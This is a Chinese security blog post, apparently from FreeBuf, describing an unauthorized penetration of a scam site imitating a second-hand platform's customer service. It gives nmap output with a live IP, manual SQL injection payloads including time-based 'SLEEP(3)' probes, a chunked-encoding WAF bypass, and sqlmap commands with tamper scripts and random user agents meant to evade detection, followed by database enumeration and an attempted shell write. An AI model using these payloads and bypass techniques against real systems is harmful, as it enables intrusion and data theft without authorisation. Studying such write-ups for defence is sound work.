freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试 | 骗局仿平台官方客服系统+Sqlmap WAF bypass
2024-09-11 10:10:02

前言

你是否曾被各种“白嫖或者诈骗”活动吸引,却最终发现这只是一场精心策划的骗局?你是否对那些看似“官方”的客服系统充满信任,却不知其中隐藏着巨大的风险?今天我朋友打算在某鱼上把自己闲置的东西卖掉,随后一位小伙私聊了过来,就有了以下的过程

然后通过那个支付截图,我朋友一眼看出了支付截图和联系的客服图片包浆了就发现是骗子,第一种就是白嫖,第二就是以官方名义称有什么阻碍欺骗钱财等,目前暂时不清楚使用的是什么欺骗手法,因为没有进一步和骗子交涉!通过对方发过来的客服地址,扫描二维码之后已经爆红,通常一些灰产行业通常会注册多个备用域名来逃避爆红!

1722145049_66a5d919549a18141544c.png!small?1722145050033

保存二维码,用二维码解码器进行解码拿URL地址,到浏览器打开!

1722145231_66a5d9cfab6e09a2a2838.png!small?1722145232401

在聊天记录当中对方称走转转平台,随后生成的一个客服地址二维码,通过生成的地址中就会以及某平台的缩写拼音作为一个文件名。

http://XXXXX.XXXX.cc/XXXXX.XXXX.XXXX/zz.php?id=1

1722145471_66a5dabf233d4a7a56249.png!small?1722145471951

随后我想了想这类的估计是应该集成了仿其它平台客服页面,我把zz改成了xy,发现确实还有其它伪装成客服的页面,目前应该不止一个。

1722145621_66a5db55efaa114c797f7.png!small?1722145622632

挖掘思路

一、Wappalyzer 指纹识别

Wappalyzer 是一款强大的网站技术识别工具,在漏洞挖掘中,它能提供以下辅助功能:

1. 识别目标网站的技术栈:Wappalyzer 可以识别目标网站使用的各种技术,包括 CMS、框架、库、插件、服务器软件等等。这能帮助你:

  • 了解目标网站的架构和技术细节:这将为你的漏洞挖掘提供重要的信息,帮助你选择合适的攻击手段和攻击目标。
  • 识别潜在的漏洞:不同的技术往往存在不同的漏洞,Wappalyzer 可以帮助你识别目标网站可能存在的漏洞类型。例如,识别到使用了特定版本的 WordPress,就可以针对该版本的已知漏洞进行攻击。
  • 选择合适的攻击工具:不同的攻击工具针对不同的技术,Wappalyzer 可以帮助你选择合适的攻击工具,例如针对 WordPress 网站的漏洞挖掘工具。

2. 识别目标网站使用的安全软件:Wappalyzer 可以识别目标网站使用的安全软件,包括防火墙、入侵检测系统等等。这能帮助你:

  • 了解目标网站的安全防护等级:这将帮助你评估攻击难度,并选择合适的攻击策略。
  • 选择合适的绕过方法:一些安全软件可能存在漏洞,Wappalyzer 可以帮助你识别这些漏洞,并选择合适的绕过方法。

3. 识别目标网站的开发语言和数据库:Wappalyzer 可以识别目标网站使用的开发语言和数据库,例如 PHP、MySQL 等等。这能帮助你:

  • 选择合适的攻击脚本:不同的开发语言和数据库存在不同的漏洞,Wappalyzer 可以帮助你选择合适的攻击脚本,例如针对 PHP 网站的 SQL 注入脚本。

4. 识别目标网站的配置信息:Wappalyzer 可以识别目标网站的配置信息,例如服务器版本、操作系统版本等等。这能帮助你:

  • 了解目标网站的运行环境:这将为你的漏洞挖掘提供重要的信息,例如识别到目标网站使用的是 Windows Server,就可以针对 Windows 系统的漏洞进行攻击。

1722146292_66a5ddf4485db65d8a4b8.png!small?1722146293020

二、目录扫描

发现隐藏的资源和文件:目录扫描可以帮助你发现目标网站中隐藏的目录、文件和资源,例如:

  • 敏感配置信息:.config.ini.txt等文件可能包含网站配置信息、数据库连接信息、API 密钥等敏感信息,泄露这些信息会造成严重的安全风险。
  • 备份文件:.bak.old等备份文件可能包含网站代码、数据库数据等敏感信息,攻击者可以利用这些备份文件恢复网站数据或进行攻击。
  • 源代码文件:.php.js.java等源代码文件可能包含网站逻辑、安全漏洞等信息,攻击者可以利用这些源代码进行漏洞分析和攻击。
  • 其他敏感资源:.zip.rar等压缩文件、.pdf等文档文件可能包含敏感信息。

像下图这种情况访问主域响应不是403就是301重定到其它地方,扫描也没有扫到后台登陆地址。通常扫描类我一般会设置线程,因为这些站可能扫扫就炸了,所以控制线程在一些场景中是比较重要些

1722146636_66a5df4c471a354a40dd5.png!small?1722146636961

三、端口扫描

识别目标主机开放的端口:端口扫描可以识别目标主机开放的端口,这将帮助你:

  • 了解目标主机的服务:不同的端口对应着不同的服务,例如 80 端口对应着 HTTP 服务,22 端口对应着 SSH 服务等等,这将帮助你了解目标主机运行着哪些服务。
  • 识别潜在的漏洞:不同的服务存在不同的漏洞,例如 Web 服务器可能存在跨站脚本漏洞、SQL 注入漏洞等等,识别到目标主机开放的端口可以帮助你识别可能存在的漏洞类型。

在下面的结果中我没有扫描全端口,因为时间太久了,所以默认扫描到了4个端口服务器,21和22都具备着可爆破。

└─$ nmap -Pn XXX.XXX.XXX.XX  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-28 14:01 CST
Nmap scan report for 154.201.65.52
Host is up (0.088s latency).
Not shown: 993 filtered tcp ports (no-response), 3 filtered tcp ports (host-unreach)
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
888/tcp open  accessbuilder

Nmap done: 1 IP address (1 host up) scanned in 86.86 seconds

四、前端审计

前端审计通常在测试中会做到的一部分,就是要看每个的测试流程,前端审计比如就一个单单的管理系统页面,那么在前端JS代码中可能会发现一些彩蛋,比如:测试账号、接口、测试Token开发遗留在代码中的一些东西等等......在整个过程,包括一些奇奇怪怪的引用参数和URL地址,文件下载地址等,都可以去尝试挖掘。因为它这个是客服系统,后台没找着,所以只能在他们客服系统上瞎溜达!

SQL注入+绕过拦截

好了,前端的模样是这样的,功能也就那么几个,并没太大作用,而且有心跳包,当前页面待久了,就龟速了

http://XXXXXXXX.cc/XXXXX/user_data.php?_=1722147458199

1722147486_66a5e29eceaee3e1d3548.png!small?1722147487952

然后我只能将目标转为二维码解码的地址,每个防的平台地址后都带了ID这个参,所以试一试SQL注入吧

http://XXXX.XXXX.cc/XXXXX.XXXXX.XXXXX/zz.php?id=1'and'1'='1

显示正常,页面那些都是可以访问

1722148170_66a5e54a4af52ce0fa385.png!small?1722148171092

/zz.php?id=1'and'1'='2就跳转到百度了,目前是不管什么方式都是跳百度。

1722148194_66a5e56282251d4c8132a.png!small?1722148195540

为了不放过这个点,我直接使用SQLmap去跑一遍,看看有没有洞!

python3 sqlmap.py -r 123.txt -p id --batch --level 3 --dbs

1722158754_66a60ea2a5e4ec9f91a38.png!small?1722158754743

看到WAF那里出现了警告,而且还有超时,这里可能就是大概被拦截掉了。这时候就用SQLMAP自带的功能:

python3 sqlmap.py -r 123.txt -p id --batch --level 3 --dbs --tamper=randomcase,between,bluecoat
  • --tamper=randomcase,between,bluecoat:指定使用 randomcasebetween和 bluecoat三种 Tamper 脚本对注入 payload 进行修改,尝试绕过 WAF 防护。

Tamper 脚本解释:

  • randomcase:将 SQL 语句中的关键字随机大小写转换,例如 SELECT可以变成 SeLeCt或 sElEcT
  • between:将 SQL 语句中的 >替换为 NOT BETWEEN 0 AND,例如 id > 1可以变成 id NOT BETWEEN 0 AND 1
  • bluecoat:将 SQL 语句中的空格替换为 %09(水平制表符),尝试绕过 BlueCoat WAF 防护。

就是时间比较久一些,如果使用了tamper等级可以稍微降一降要不然真的是要很久,这里成功绕过了拦截!

1722158995_66a60f934c2853664639f.png!small?1722158995373

第二处的SQL注入也是ID参:然后发现当前客服发送的内容通过POST请求  -  http://XXXXXXX.cc/XXXXX.XXXXX.XXXXXX/postzz.php进行发送,cont=111为内容 id=1为当前页面

1722159655_66a61227e57f70ae6daec.png!small?1722159656270

POST /XXXXXX.XXXXXXXX.XXXXXX/post.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 55
Origin: 
Connection: close
Referer: 
Cookie: PHPSESSID=d7o5a8e599h8mscec2gmbksuv5
Priority: u=0

cont=%E9%97%AE%E4%BD%A0%E5%9C%A8%E4%B8%8D%E5%9C%A8&id=1

ID存在字符检测,SLEEP这类的都会进行检测。

1722148910_66a5e82e7a352411d588a.png!small?1722148911293

但是1' or SLEEP(3)-- 嘿,你看怎么招,存在延迟,你说过分不过分,但是当前非法操作被记录!

1722149269_66a5e995d373f6a0cb6a1.png!small?1722149270947

如果是用手工测试的话,利用这个分块传输来绕过,当前的非法检测就变成了正常操作。

1722154067_66a5fc53cc73c5363b720.png!small?1722154068708

这个也是通过SQLMAP的自带的来修改Payload特征绕过拦截,而且这里还控制了线程,过程就是比较慢一些:

python3 sqlmap.py -r 456.txt -p id --batch --level 5 --dbs --threads=1 --random-agent --technique=T --tamper=charencode
  • --random-agent:使用随机 User-Agent 请求头,以隐藏攻击者的身份。
  • --technique=T:指定使用所有可用的 SQL 注入技术进行测试,T代表 Time,表示时间型盲注。
  • --tamper=charencode:指定使用 charencodeTamper 脚本对注入 payload 进行修改,来绕过。

1722186031_66a6792fbc4b1cdcb839a.png!small?1722186032178

通过读取管理用户列表从最新的添加用户来看,违法活动已经持续有一个多月。

1722179741_66a6609d8f0a2b7f277c1.png!small?1722179741906

而且在数据库中还发现以Telegram账号为用户名,这种带广告的不是自己干的就是把平台出租给其它人。

1722174228_66a64b14155f37cbabc39.png!small?1722174228281

然后想了想,有没有什么办法在朔一朔,通常在一些数据库中会有后台管理系统的登陆IP地址,但是目标系统是空的!

1722185620_66a677943a28c209b562e.png!small?1722185621468

然后想了想看看数据库有没有权限写个Shell什么的,发现是USAGE权限,通常表示用户存在于数据库中,但没有任何其他权限(例如 SELECT、INSERT、UPDATE、DELETE 等),所以G了。

1722185859_66a678830e2d9a9a7a610.png!small?1722185859630

结束

通过上面的漏洞挖掘并没有发现太多的问题,因为这个系统被二开过,我找到了相关的源码配置几乎不大,但是和公开的数据库多了两列表,应该是有改动的,目前的话就是一些交流过的IP地址其它,暂时整个数据库中没有发现有用的,后台地址路径被改过,主域名中带了二级目录,二级目录使用长字母进行分段比如:aaaaa.bbbb.cccc/zz.php,想扫描几乎很费时间,只有通过解二维码才知道的页面的地址,要不然确实挺难发现,后台管理系统没发现也正常,后台地址估计都改得老长了。

# 渗透测试 # web安全 # 漏洞分析 # 网络安全技术 # 灰产圈
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录